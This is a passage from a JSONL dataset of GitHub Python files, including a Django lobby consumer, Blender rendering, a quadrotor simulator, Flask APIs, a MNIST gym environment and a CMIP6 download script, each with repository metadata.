LobbySlots.objects.filter(game_scene_id=self.scene_id).order_by('id')\n        user_char_list = []\n        \n        for row in list_of_user_chars:\n            user_char_list.append(row.user_char_id)\n            \n        return user_char_list\n\n    @database_sync_to_async     \n    def db_free_all_slots_in_current_lobby(self):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        try:\n            delelte_slots_in_lobby = LobbySlots.objects.filter(game_scene_id=self.scene_id).delete()\n        except:\n            pass\n        \n        return delelte_slots_in_lobby\n\n    pass\n","repo_name":"tstsrv-de/rpg","sub_path":"rpg/rjh_rpg/consumer_lobby.py","file_name":"consumer_lobby.py","file_ext":"py","file_size_in_byte":19708,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"29410279091","text":"import math\nfrom collections import defaultdict\n\nimport bpy\nfrom pathlib import Path\n\nimport click\nimport structlog\nimport visdom\nimport warnings\nfrom tqdm import tqdm\nfrom skimage import io as skio\n\nimport brender\nfrom brender import Mesh\nfrom brender.material import InvisibleMaterial\nfrom brender.utils import suppress_stdout\nfrom meshkit import wavefront\nfrom rendkit.shortcuts import render_segments\nimport vispy.app\nfrom terial import config, controllers\nfrom terial.materials import loader\nfrom terial.database import session_scope\nfrom terial.models import ExemplarShapePair, Material\nfrom toolbox import cameras\nfrom terial.pairs import utils\nfrom toolbox.images import crop_tight_fg, mask_bbox\n\nlogger = structlog.get_logger(__name__)\n\nvispy.app.use_app('glfw')\nvis = visdom.Visdom(env='bruteforce-render-materials')\n\n\n_TMP_MESH_PATH = '/tmp/_temp_mesh.obj'\n_TMP_REND_PATH = '/tmp/_temp_rend.png'\n# _ENVMAP_PATH = '/projects/grail/kpar/data/envmaps2/k_studio_dimmer.pano.exr'\n_ENVMAP_PATH = '/local1/data/envmaps/custom/studio021.hdr'\n_REND_SHAPE = (256, 256)\n_FINAL_SHAPE = (128, 128)\n_BASE_NAME = 'material_rends_256x256'\n\n\ndef render_pair(app: brender.Brender, pair: ExemplarShapePair,\n                materials_by_substance, base_out_dir):\n    # Load shapenet mesh and resize to 1.0 to match Blender size.\n    rk_mesh, _ = pair.shape.load()\n    rk_mesh.resize(1)\n    with open(_TMP_MESH_PATH, 'w') as f:\n        wavefront.save_obj_file(f, rk_mesh)\n\n    scene = brender.Scene(app, shape=_REND_SHAPE, aa_samples=32)\n    envmap_rotation = (0, 0, (math.pi + math.pi/2 + pair.azimuth))\n    scene.set_envmap(_ENVMAP_PATH, scale=5, rotation=envmap_rotation)\n\n    with suppress_stdout():\n        mesh = Mesh.from_obj(scene, _TMP_MESH_PATH)\n\n    mat_substances = utils.compute_segment_substances(pair)\n\n    # Get exemplar camera parameters.\n    rk_camera = cameras.spherical_coord_to_cam(\n        pair.fov, pair.azimuth, pair.elevation, cam_dist=2.0,\n        max_len=_REND_SHAPE[0]/2)\n\n    segment_im = render_segments(rk_mesh, rk_camera)\n\n    camera = brender.CalibratedCamera(\n        scene, rk_camera.cam_to_world(), pair.fov)\n    scene.set_active_camera(camera)\n\n    bmats = []\n    segment_pbar = tqdm(rk_mesh.materials)\n    for segment_name in segment_pbar:\n        segment_pbar.set_description(f'Segment {segment_name}')\n\n        try:\n            mat_subst = mat_substances[segment_name]\n            materials = materials_by_substance[mat_subst]\n        except KeyError:\n            continue\n\n        out_dir = Path(base_out_dir, str(pair.id), str(segment_name))\n        out_dir.mkdir(parents=True, exist_ok=True)\n\n        material_pbar = tqdm(materials)\n        for material in material_pbar:\n            material_pbar.set_description(f'Material {material.id}')\n            out_path = Path(out_dir, f'{material.id}.png')\n            if out_path.exists():\n                material_pbar.set_description(\n                    f'Material {material.id} already rendered')\n                continue\n\n            # Activate only current material.\n            bobj = None\n            for bobj in bpy.data.materials:\n                if bobj.name == segment_name:\n                    break\n\n            bobj_matches = [o for o in bpy.data.materials\n                            if o.name == segment_name]\n            if len(bobj_matches) == 0:\n                bmat = InvisibleMaterial(bobj=bobj)\n            else:\n                bmat = loader.material_to_brender(material, bobj=bobj)\n\n            bmats.append(bmat)\n\n            with suppress_stdout():\n                rend_im = scene.render_to_array()\n\n            vis.image(rend_im.transpose((2, 0, 1)), win='rend-im')\n\n            rend_im[segment_im != rk_mesh.materials.index(segment_name)] = 0\n            fg_bbox = mask_bbox(segment_im > -1)\n            rend_im = crop_tight_fg(rend_im, _FINAL_SHAPE, bbox=fg_bbox,\n                                    fill=0, use_pil=True)\n\n            with warnings.catch_warnings():\n                warnings.simplefilter('ignore', UserWarning)\n                skio.imsave(str(out_path), rend_im)\n\n    while len(bmats) > 0:\n        bmat = bmats.pop()\n        bmat.bobj.name = bmat.bobj.name\n        del bmat\n\n\n@click.command()\n@click.argument('out_dir', type=click.Path())\ndef main(out_dir):\n    out_dir = Path(out_dir)\n    app = brender.Brender()\n\n    materials_by_substance = defaultdict(list)\n    with session_scope() as sess:\n        materials = sess.query(Material).filter_by(enabled=True).all()\n        for material in materials:\n            materials_by_substance[material.substance].append(material)\n\n        # pairs, count = controllers.fetch_pairs(\n        #     sess, max_dist=config.ALIGN_DIST_THRES,\n        #     filters=[ExemplarShapePair.id >= start],\n        #     order_by=ExemplarShapePair.shape_id.asc(),\n        # )\n\n        pairs, count = controllers.fetch_pairs(\n            sess,\n            by_shape=True,\n            order_by=ExemplarShapePair.distance.asc(),\n        )\n\n        print(f'Fetched {len(pairs)} pairs. '\n              f'align_dist_thres = {config.ALIGN_DIST_THRES}')\n\n        pair_pbar = tqdm(pairs)\n        for i, pair in enumerate(pair_pbar):\n            pair_pbar.set_description(f'Pair {pair.id}')\n\n            if not pair.data_exists(config.PAIR_SHAPE_CLEAN_SEGMENT_MAP_NAME):\n                continue\n\n            app.init()\n            render_pair(app, pair, materials_by_substance, out_dir)\n\n\nif __name__ == '__main__':\n    main()\n\n\n","repo_name":"keunhong/photoshape","sub_path":"src/terial/classifier/bruteforce/render_materials.py","file_name":"render_materials.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"35"}
{"seq_id":"40896904669","text":"__version__ = \"0.1\"\n__author__ = \"Luminita-Cristiana Totu\"\n__copyright__ = \"Copyright (C) 2019 Luminita-Cristiana Totu\"\n__license__ = \"GNU GPLv3\"\n\nimport numpy as np\nimport math\n\n# Panda 3D \nfrom direct.showbase.ShowBase import ShowBase\nfrom direct.task import Task\nfrom direct.showbase import DirectObject\nfrom panda3d.core import LQuaternionf\nfrom direct.gui.OnscreenText import OnscreenText\n\nfrom context import rb\nfrom context import qftau_cf\nfrom context import log  \nfrom context import envir\nfrom context import ut\nfrom context import plot\n\nplus = True\nname = \"Manual\"\n\nclass ReadKeys(DirectObject.DirectObject):\n    \n    def __init__(self):\n        \n        self.accept(\"time-arrow_up\", self.call_fw)\n        self.accept(\"time-arrow_up-repeat\", self.call_fw)\n        \n        self.accept(\"time-arrow_down\", self.call_bw)\n        self.accept(\"time-arrow_down-repeat\", self.call_bw)\n        \n        self.accept(\"time-arrow_left\", self.call_left)\n        self.accept(\"time-arrow_left-repeat\", self.call_left)\n        \n        self.accept(\"time-arrow_right\", self.call_right)\n        self.accept(\"time-arrow_right-repeat\", self.call_right)\n        \n        self.accept(\"time-a\", self.call_dz)\n        self.accept(\"time-a-repeat\", self.call_dz)\n        \n        self.accept(\"time-z\", self.call_dz_neg)\n        self.accept(\"time-z-repeat\", self.call_dz_neg)\n        \n        self.accept(\"time-j\",self.call_yaw_cw)\n        self.accept(\"time-j-repeat\",self.call_yaw_cw)\n        \n        self.accept(\"time-g\",self.call_yaw_ccw)\n        self.accept(\"time-g-repeat\",self.call_yaw_ccw)\n        \n    def call_fw(self, when):\n        global cmd \n        if plus is False:\n            cmd = cmd + np.array([ -5.0, -5, 5, 5 ])\n        else:\n            cmd = cmd + np.array([ -10.0, 0, +10, 0 ])\n    \n    def call_bw(self, when):\n        global cmd \n        if plus is False:\n            cmd = cmd + np.array([ +5, +5, -5, -5.0 ])\n        else:\n            cmd = cmd + np.array([ +10, 0, -10, 0.0 ])\n        \n    def call_left(self, when):\n        global cmd \n        if  plus is False:\n            cmd = cmd + np.array([ 5.0, -5, -5, +5 ])\n        else:\n            cmd = cmd + np.array([ 0, -10, 0, +10.0 ])\n        \n    def call_right(self, when):\n        global cmd \n        if plus is False:\n            cmd = cmd + np.array([ -5.0, +5, +5, -5.0 ])\t\n        else:\n            cmd = cmd + np.array([ 0, +10.0, 0, -10.0 ])\t\n        \n    def call_dz(self, when):\n        global cmd \n        cmd += np.array([ +5, +5, +5, +5 ])\n        \n    def call_dz_neg(self, when):\n        global cmd \n        cmd += np.array([ -5, -5, -5, -5 ])\t\n        \n    def call_yaw_cw(self, when):\n        global cmd\n        cmd += np.array([ +5, -5, +5, -5 ])\t\n    \n    def call_yaw_ccw(self, when):\n        global cmd\n        cmd += np.array([ -5, +5, -5, +5 ])\t\n        \nclass Panda3DApp(ShowBase):\n \n    def __init__(self):\n        ShowBase.__init__(self)\n\t\t\n        # Load the environment model.\n        self.scene = self.loader.loadModel(\"../models/environment\") \n           \n\t    # Reparent the model to render.\n        self.scene.reparentTo(self.render)\n    \n\t    # Apply scale and position transforms on the model.\n        self.scene.setScale(0.25, 0.25, 0.25)\n        self.scene.setPos(-8, 42, 0)\n\t\t\n        if plus is False:\n            self.quadrotor = self.loader.loadModel(\"../quadsim/res/CF21_cross\")\n        else:\n            self.quadrotor = self.loader.loadModel(\"../quadsim/res/CF21_plus\")\n            \n        self.quadrotor.setScale(1, 1, 1)\n        self.quadrotor.reparentTo(self.render)\n        self.quadrotor.setPos(0,0,3)\n            \n        # Add the moveActor procedure to the task manager.\n        self.taskMgr.add(self.moveActorTask, \"MoveQuadTask\")\n        \n        # Add the rotateActor procedure to the task manager.\n        self.taskMgr.add(self.rotateActorTask, \"RotateQuadTask\")\n\t\t\n\t\t# Add the followQuadCameraTask  procedure to the task manager.\n        self.taskMgr.add(self.followQuadCameraTask, \"followQuadCameraTask\")\n        \n        monospaced_font = loader.loadFont(\"cmtt12.egg\")\n        self.textObject_pos = OnscreenText(\" Hello \", pos = (0, +0.8), scale = 0.07,\n                                                 fg=(255,255,255,1), bg=(0,0,0,1), mayChange=True,\n                                                 font = monospaced_font)\n\n\n    # Define a procedure to move the camera.\n    def followQuadCameraTask(self, task):\n        self.camera.setPos(self.quadrotor.getX()-20, self.quadrotor.getY(), self.quadrotor.getZ()+3)\n        self.camera.lookAt(self.quadrotor)\n        return Task.cont\n\n    # Define a procedure to move the panda actor \n    def moveActorTask(self, task):\n        global qrb\n        pos = qrb.pos\n        self.quadrotor.setPos(pos[0],pos[1],pos[2])\n        return Task.cont\n    \n    # Define a procedure to rotate the actor \n    def rotateActorTask(self, task):\n        global qrb\n        q=LQuaternionf(qrb.q[0],qrb.q[1],qrb.q[2],qrb.q[3])\n        self.quadrotor.setQuat(q)\n        return Task.cont\n \n    # function to write on screen \n    def screenText_TRPY(self,T,R,P,Y):\n        text = \"T={0:.4f},R={1:.2f},P={2:.2f},Y={3:.2f}\".format(T,R*180/math.pi, \n                                                                                        P*180/math.pi,Y*180/math.pi)\n        self.textObject_TRPY.text = text\n    def screenText_pos(self,pos,RPY):\n        text = \"X={0:.2f},Y={1:.2f},Z={2:.2f}    R={3:.2f},P={4:.2f},Y={5:.2f}\".format(\n                        pos[0],pos[1],pos[2],\n                        RPY[0]*180/math.pi,RPY[1]*180/math.pi,RPY[2]*180/math.pi)\n        self.textObject_pos.text = text\n        \n# Initialization values for the states of the quadrotor\npos = np.array([0,0,3])\nq = np.array([1,0,0,0])\nrotmb2e = ut.quat2rotm(q) \nvb = np.array([0,0,0])\nomegab = np.array([0,0,0])\n\n# Simulation parameters\ndt_sim = 0.001  # seconds\nT_sim = 100     # seconds\ndt_log = 0.001        # seconds\ndt_vis = 1/60   # 60 frame per second \n\n# Test Case \n#######################################################################\ncmd = 37278 * np.ones(4)\nqftau = qftau_cf.QuadFTau_CF(0,plus)\nqrb = rb.rigidbody_q(pos, q, vb, omegab, qftau.mass, qftau.I)\n\n# Initialize the logger object \nfullname = \"testresults/ftau_plus_rigidbody/\" + name\nlogger = log.Logger(fullname, name)\nplotter = plot.Plotter()\n\n# Initialize the visualization\npanda3D_app = Panda3DApp()\nreadkeys = ReadKeys()\n\n\n# The main simulation loop     \nfor t in np.arange(dt_sim,T_sim+dt_sim,dt_sim):\n   \n    # Calculate body-based forces and torques\n    fb, taub = qftau.input2ftau(cmd,qrb.vb)\n    \n    fe_e, taue_e = envir.applyenv2ftaue(qrb)\n    \n    fb = fb + np.transpose(qrb.rotmb2e)@fe_e\n    taub = taub + np.transpose(qrb.rotmb2e)@taue_e\n    \n    # Run the kinematic / time forward\n    qrb.run_quadrotor(dt_sim, fb, taub)\n\n    # Visualization frequency    \n    if abs(t/dt_vis - round(t/dt_vis)) < 0.000001 :\n        panda3D_app.taskMgr.step()\n        panda3D_app.screenText_pos(qrb.pos,qrb.euler_xyz())\n        \n    # Logging frequency    \n    if abs(t/dt_log - round(t/dt_log)) < 0.000001 :\n        qrb.check()\n        logger.log_rigidbody(t, qrb)\n        logger.log_cmd(t, cmd)\n        \n# End of program \n#logger.log2file_rigidbody()\n#logger.log2file_cmd()\nplotter.plot_rigidbody(logger)\nplotter.plot_cmd(logger)\n","repo_name":"lkdo/QuadrotorSim","sub_path":"tests/ftau_plus_rigidbody_tests_vis.py","file_name":"ftau_plus_rigidbody_tests_vis.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3009927879","text":"\n\n#二进制文件读取操作\nfd = open('test.txt','rb')\n#得到的是一个字节串\ndata = fd.read()\nprint(data)\nprint(data.decode())\nfd.close()\n#打开图片，只能用二进制方式打开\nfd = open(\"111.jpg\",\"rb\")\ndate = fd.read()\nprint(date)\nfd.close()","repo_name":"jiangwuc/wujiangc","sub_path":"pythonNet/file/binary_read.py","file_name":"binary_read.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14893667276","text":"from app.models import User as model_User\nfrom flask import url_for\nfrom flask_restful import Resource, marshal_with\nfrom . import api, parser, default_per_page\nfrom .fields import user_detail_fields, user_list\n\n\n@api.route('/users/<int:user_id>/')\nclass User(Resource):\n    @marshal_with(user_detail_fields)\n    def get(self, user_id):\n        user = model_User.query.get_or_404(user_id)\n        user.uri = url_for('api.user', user_id=user_id, _external=True)\n        return user\n\n\n@api.route('/users/')\nclass UserList(Resource):\n    @marshal_with(user_list)\n    def get(self):\n        args = parser.parse_args()\n        page = args['page'] or 1\n        per_page = args['per_page'] or default_per_page\n        pagination = model_User.query.order_by(model_User.id.desc()).paginate(page=page, per_page=per_page)\n        items = pagination.items\n        prev = None\n        if pagination.has_prev:\n            prev = url_for('api.userlist', page=page - 1, per_page=per_page, _external=True)\n        next = None\n        if pagination.has_next:\n            next = url_for('api.userlist', page=page + 1, per_page=per_page, _external=True)\n        return {\n            'items': items,\n            'prev': prev,\n            'next': next,\n            'total': pagination.total,\n            'pages_count': pagination.pages,\n            'current_page': pagination.page,\n            'per_page': per_page\n        }\n","repo_name":"magic-akari/BookLibrary","sub_path":"app/api/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"35"}
{"seq_id":"71267995941","text":"import numpy as np\nimport gym\nfrom gym import spaces\nfrom gym.envs.classic_control import rendering\n\nfrom gym_numgrid.utils import mnist_loader\nfrom gym_numgrid.envs.rendering import Image\n\nclass NumGrid(gym.Env):\n    \"\"\"\n    An environment consisting of a grid of hand-written digits images\n    loaded from the MNIST training database.\n    It also holds a cursor respresenting the agent's local view on the world.\n    \"\"\"\n    metadata = {\n            'render.modes': ['human', 'rgb_array'],\n            'video.frames_per_second': 60,\n            'configure.required': True\n            }\n\n    def __init__(self, size=(5,5), cursor_size=(10,10), cursor_pos=(0,0),\\\n            digits=set(range(10)),\\\n            mnist_images_path='train-images-idx3-ubyte.gz',\\\n            mnist_labels_path='train-labels-idx1-ubyte.gz',\\\n            num_steps=100,\\\n            render_scale=2, draw_grid=False, window_pos=None):\n        \"\"\"\n        size -- dimensions of the grid in number of images as a (width, height) tuple\n        cursor_size -- dimensions of the cursor in pixels as a (width, height) tuple\n\n        digits -- set of digits we want to load from MNIST\n        mnist_images_path -- path to the MNIST images file, in IDX gzipped format\n        mnist_labels_path -- path to the MNIST labels file, in IDX gzipped format\n\n        num_steps -- number of steps to achieve in an episode\n\n        render_scale -- scale to apply to the viewer's rendering of the world\n        draw_grid -- whether the viewer should draw a grid delimiting digit images\n        window_pos -- position of the viewer's window, defaults to the operating system default\n        \"\"\"\n        self.size = np.array(size)\n        self.cursor_size = np.array(cursor_size)\n        self.cursor_pos = np.array(cursor_pos)\n\n        self.labels = mnist_loader.load_idx_data(mnist_labels_path)\n        num_examples = np.prod(size)\n        i = 0\n        labels_i = []\n        while len(labels_i) < num_examples:\n            if self.labels[i] in digits:\n                labels_i.append(i)\n            i += 1\n        self.images = mnist_loader.load_idx_data(mnist_images_path, pos=labels_i)\n\n        self.labels = self.labels[labels_i].reshape(size[::-1] + self.labels.shape[1:])\n        self.images = self.images.reshape(size[::-1] + self.images.shape[1:])\n\n        H, W, h, w = self.images.shape\n        self.world = self.images.swapaxes(1,2).reshape(H*h, W*w)\n\n        # An action consists of a guess at the digit currently under the cursor,\n        # plus a new cursor position; the agent might not want to try a guess yet,\n        # in which case it should use the value 10 to indicate that the prediction\n        # must be ignored\n\n        self.digit_space = spaces.Discrete(11)\n\n        world_bounds = np.array(self.world.shape[::-1]) - 1 - self.cursor_size\n        self.position_space = spaces.MultiDiscrete(np.stack([(0,0), world_bounds], 1))\n\n        self.action_space = spaces.Tuple((self.digit_space, self.position_space))\n\n        # An observation is the cursor view on the world\n\n        self.observation_space = spaces.Box(0, 255, self.cursor_size[::-1])\n\n        self.num_steps = num_steps\n        self.steps = 0 # Number of steps done in the current episode\n\n        self.viewer = None\n        self.render_scale = render_scale\n        self.draw_grid = draw_grid\n        self.window_pos = window_pos\n\n        spaces.prng.np_random.seed() # For correct random reset of the cursor position\n\n    def _step(self, action):\n        digit, pos = action\n        reward = 0\n        done = False\n        info = {'out_of_bounds': False, 'digit': self.current_digit}\n\n        if not self.position_space.contains(pos):\n            info['out_of_bounds'] = True\n        else:\n            self.cursor_pos = np.array(pos)\n\n        if digit < 10:\n            if digit != info['digit']:\n                reward -= 3\n            else:\n                reward += 3\n                self.cursor_pos = np.array(self.position_space.sample())\n\n        self.steps += 1\n        if self.steps >= self.num_steps:\n            done = True\n\n        return self.cursor, reward, done, info\n\n    def _reset(self):\n        self.steps = 0\n        self.cursor_pos = np.array(self.position_space.sample())\n        return self.cursor\n\n    def _render(self, mode='human', close=False):\n        if close:\n            return\n\n        scale = (self.render_scale,) * 2\n\n        world_size = np.array(self.world.shape[::-1])\n        screen_size = (world_size * scale).astype(int)\n\n        if self.viewer is None:\n            scaling = rendering.Transform(scale=scale)\n            self.viewer = rendering.Viewer(*screen_size)\n            self.viewer.window.set_size(*screen_size)\n            if self.window_pos is not None:\n                self.viewer.window.set_location(*self.window_pos)\n\n            world = np.array([(x,) * 4 for x in self.world.flatten()])\n            world = world.reshape(self.world.shape + (4,)) # RGBA\n            world = Image(255 - world) # Render in negative\n            world.add_attr(scaling)\n            self.viewer.add_geom(world)\n\n            w, h = self.cursor_size\n            vertices = (0,0), (w,0), (w,-h), (0,-h), (0,0)\n            cursor_bounds = rendering.make_polyline(vertices)\n            cursor_bounds.set_color(1, 0, 0)\n            cursor_bounds.set_linewidth(2)\n            self.cursor_trans = rendering.Transform()\n            cursor_bounds.add_attr(scaling)\n            cursor_bounds.add_attr(self.cursor_trans)\n            self.viewer.add_geom(cursor_bounds)\n\n            x, y = (self.cursor_size/2).astype(int)\n            l1, l2 = ((x-1,-y-1),(x+1,-y+1)), ((x-1,-y+1),(x+1,-y-1))\n            cursor_center = (rendering.Line(*l1), rendering.Line(*l2))\n            for line in cursor_center:\n                line.set_color(1, 0, 0)\n                line.add_attr(scaling)\n                line.add_attr(self.cursor_trans)\n                self.viewer.add_geom(line)\n\n            if self.draw_grid:\n                W, H = world_size\n                h, w = self.images.shape[:-3:-1]\n                grid = [rendering.Line((i*w,H),(i*w,0)) for i in range(self.size[0])]\n                grid += [rendering.Line((0,H-j*h),(W,H-j*h)) for j in range(self.size[1])]\n                for line in grid:\n                    line.set_color(0, 1, 0)\n                    line.add_attr(scaling)\n                    self.viewer.add_geom(line)\n\n        px, py = self.cursor_pos * scale\n        self.cursor_trans.set_translation(px, screen_size[1] - py)\n\n        return self.viewer.render(return_rgb_array=(mode == 'rgb_array'))\n\n    def _close(self):\n        if self.viewer is not None:\n            self.viewer.close()\n            self.viewer = None\n\n    @property\n    def current_digit(self):\n        \"\"\"\n        Returns the digit currently under the cursor.\n        \"\"\"\n        image_size = self.images.shape[:-3:-1]\n        i = (self.cursor_center/image_size)[::-1].astype(int)\n        return self.labels[tuple(i)]\n\n    @property\n    def cursor(self):\n        \"\"\"\n        Returns the cursor view on the world.\n        \"\"\"\n        x, y = self.cursor_pos\n        w, h = self.cursor_size\n        return self.world[y:y+h,x:x+w]\n\n    @property\n    def cursor_center(self):\n        \"\"\"\n        Returns the cursor's center position.\n        \"\"\"\n        return self.cursor_pos + (self.cursor_size/2).astype(int)\n","repo_name":"Champitoad/gym-numgrid","sub_path":"gym_numgrid/envs/numgrid.py","file_name":"numgrid.py","file_ext":"py","file_size_in_byte":7359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3326126621","text":"# Import dependencies\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask import Flask, jsonify\n\n# Set up database engine to allow us to access and query our SQLite database file\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\nBase = automap_base()\n\n# Reflect the tables to save our references to each table\nBase.prepare(engine, reflect=True)\n\n# Create a variable for each of the classes\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Create session link from Python\nsession = Session(engine)\n\n# Create a new Flask app instance\napp = Flask(__name__)\n\n# Define welcome route\n@app.route('/')\n\n# Define routes\ndef welcome():\n    return(\n    '''\n    Welcome to the Climate Analysis API!\n    Available Routes:\n    /api/v1.0/precipitation\n    /api/v1.0/stations\n    /api/v1.0/tobs\n    /api/v1.0/temp/start/end\n    ''')\n\n# Create precipitation route\n@app.route(\"/api/v1.0/precipitation\")\n\n# Create precipitation function\ndef precipitation():\n   prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n   precipitation = session.query(Measurement.date, Measurement.prcp).\\\n    filter(Measurement.date >= prev_year).all()\n   precip = {date: prcp for date, prcp in precipitation}\n   return jsonify(precip)\n\n# Create stations route\n@app.route(\"/api/v1.0/stations\")\n\n# Create stations function\ndef stations():\n    results = session.query(Station.station).all()\n    stations = list(np.ravel(results))\n    return jsonify(stations=stations)\n\n# Create temperature observations route\n@app.route(\"/api/v1.0/tobs\")\n\n# Create temperature observations function\ndef temp_monthly():\n    prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n    results = session.query(Measurement.tobs).\\\n      filter(Measurement.station == 'USC00519281').\\\n      filter(Measurement.date >= prev_year).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps=temps)\n\n# Create summary statistics route\n@app.route(\"/api/v1.0/temp/<start>\")\n@app.route(\"/api/v1.0/temp/<start>/<end>\")\n\n# Create summary statistics function\ndef stats(start=None, end=None):\n    sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n    if not end:\n        results = session.query(*sel).\\\n            filter(Measurement.date >= start).all()\n        temps = list(np.ravel(results))\n        return jsonify(temps)\n\n    results = session.query(*sel).\\\n        filter(Measurement.date >= start).\\\n        filter(Measurement.date <= end).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps)","repo_name":"JFoArlas/Surfs_up","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"2360739298","text":"import telegram.ext as tex\nimport telegram as t\n\nimport logging\nimport typing\n# import io\n\nfrom mudeer.com.com_types import ComTypes\n\n# from io import BytesIO\n\n\nclass Telegram():\n    \"\"\"\n    processes any Message (Text or speach) and forwards it to the Message pipeline.\n    Speech is also processed to text, unsing TTS (e.g. DeepSpeech)\n    \"\"\"\n\n    def __init__(self, settings: dict, name: str, stt, process: typing.Callable[[str, dict, ComTypes], typing.Tuple[bool, str]]):\n        super().__init__()\n        self.log = logging.getLogger(__name__)\n        self.log.debug(\"init\")\n\n        tex_log = logging.getLogger(\"telegram.bot\")\n        tex_log.setLevel(logging.INFO)\n        tex_log = logging.getLogger(\"telegram.ext.dispatcher\")\n        tex_log.setLevel(logging.INFO)\n\n        # name\n        self.user_name = name\n\n        # stt\n        self.stt = stt\n\n        self.log.debug(\"login with token {}\".format(settings.get(\"token\", \"\")))\n        self.updater = tex.Updater(token=settings.get(\"token\", \"\"), use_context=True)\n        self.dispatcher = self.updater.dispatcher\n\n        start_handler = tex.CommandHandler(\"start\", self.get_callback_start)\n        self.dispatcher.add_handler(start_handler)\n\n        get_id_handler = tex.CommandHandler(\"get_id\", self.get_callback_get_id)\n        self.dispatcher.add_handler(get_id_handler)\n\n        stt_handler = tex.MessageHandler(tex.Filters.voice, self.get_callback_stt)\n        self.dispatcher.add_handler(stt_handler)\n\n        text_handler = tex.MessageHandler(tex.Filters.text, self.get_callback_text)\n        self.dispatcher.add_handler(text_handler)\n\n        self.context = {}\n        self.process = process\n\n        self.known_commands = [\n            t.BotCommand(\"online\", \"Wer so im Mumble ist\"),\n            t.BotCommand(\"channel\", \"Erstellt neuen Kanal\"),\n            t.BotCommand(\"get_id\", \"Zeigt die User ID\"),\n            t.BotCommand(\"start\", \"Initialisiert den Bot neu\"),\n        ]\n\n    def connect(self):\n        self.updater.start_polling()\n\n    def disconnect(self):\n        self.updater.stop()\n\n    def get_callback_start(self, update: t.Update, context: tex.CallbackContext):\n        \"\"\"Sends a message with three inline buttons attached.\"\"\"\n        self.log.debug(\"got event {}\".format(update))\n        context.bot.delete_my_commands()\n        context.bot.set_my_commands(self.known_commands)\n        context.bot.send_message(chat_id=update.effective_chat.id, text=\"Hallo, ich bin Lara.\")\n\n    def get_callback_get_id(self, update, context):\n        self.log.debug(\"got event {}\".format(update))\n        context.bot.send_message(chat_id=update.effective_chat.id,\n                                 text=\"Deine Telegram-ID ist: {}\".format(update.message.from_user.id))\n\n    def get_callback_stt(self, update, context):\n\n        mime_type = update.message.voice.mime_type\n        if mime_type != \"audio/ogg\":\n            self.log.fatal(\"Wronge Mime Type, recived: {}, expected audio/ogg\".format(mime_type))\n            context.bot.send_message(chat_id=update.effective_chat.id, text=\"got some error\")\n            return\n\n        file_size = float(update.message.voice.file_size)\n        self.log.debug(\"file size: {} MB\".format(file_size/1024/1024))\n        self.log.debug(\"mime Type: {}\".format(mime_type))\n\n        file = update.message.voice.get_file()\n        data = file.download_as_bytearray()\n\n        text = self.stt.process_voice_opus({\"name\": \"tbd\"}, data)\n\n        _, return_str = self.process(text, context.chat_data, ComTypes.TELEGRAM)\n\n        context.bot.send_message(chat_id=update.effective_chat.id, text=return_str)\n\n    def get_callback_text(self, update, context):\n        text = update.message.text\n        self.log.debug(\"Got message {}\".format(text))\n        _, return_str = self.process(text, context.chat_data, ComTypes.TELEGRAM)\n        context.bot.send_message(chat_id=update.effective_chat.id, text=return_str)\n","repo_name":"AndreasGocht/MuDeer2","sub_path":"mudeer/com/telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74603628581","text":"'''Script for downloading CMIP6 files. \n\nThis scipt is adapted from the climate-download repo of Kevin Schwarzwald\n[https://github.com/ks905383/climate-downloads]\n\nScript is based on Pangeo documentation:\nhttps://pangeo-data.github.io/pangeo-cmip6-cloud/accessing_data.html#opening-a-single-zarr-data-store\n\n@Author  :   Jakob Schlör \n@Time    :   2022/07/27 10:32:30\n@Contact :   jakob.schloer@uni-tuebingen.de\n'''\n# %%\n# Packages\n##########################################################################################\nimport xarray as xr\nimport pandas as pd\nimport numpy as np\nimport cftime\nimport re\nfrom operator import itemgetter  # For list subsetting but this is idiotic\nimport gcsfs\nimport os\nimport warnings\n\n\ndef fix_lons(ds, subset_params):\n    \"\"\"\n    This function fixes a few issues that show up when dealing with \n    longitude values. \n\n    Input: an xarray dataset, with a longitude dimension called \"lon\"\n\n    Changes: \n    - The dataset is re-indexed to -180:180 or 0:360 longitude format, \n      depending on the subset_params['lon_range'] parameter\n    - the origin (the first longitude value) is changed to the closest \n      lon value to subset_params['lon_origin'], if using a 0:360 range. \n      In other words, the range becomes [lon_origin:360 0:lon_origin]. \n      This is to make sure the subsetting occurs in the 'right' direction, \n      with the longitude indices increasing consecutively (this is to ensure\n      that subsetting to, say, [45, 275] doesn't subset to [275, 45] or vice-\n      versa). Set lon_origin to a longitude value lower than your first subset \n      value.\n    \"\"\"\n\n    if subset_params['lon_range'] == 180:\n        # Switch to -180:180 longitude if necessary\n        if any(ds.lon > 180):\n            ds = ds.assign_coords(lon=(((ds.lon + 180) % 360) - 180))\n        # Change origin to half the world over, to allow for the\n        # longitude indexing to cross the prime 